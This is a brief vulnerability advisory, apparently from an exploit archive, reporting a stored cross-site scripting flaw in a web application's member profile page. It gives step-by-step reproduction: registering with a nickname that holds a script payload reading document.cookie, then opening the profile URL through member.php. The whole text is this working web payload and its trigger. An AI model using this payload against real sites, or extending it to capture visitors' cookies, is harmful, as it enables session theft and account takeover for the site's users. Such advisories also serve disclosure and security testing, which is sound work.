==================== Discovered by: Qex Date: 14 April 2006 ==================== Steps:- 1- Register with this nickname:- '><script>alert(document.cookie)</script> 2- Go to http://www.[SITE].com/[PATH]/member.php?action=showprofile&user_id=[ID]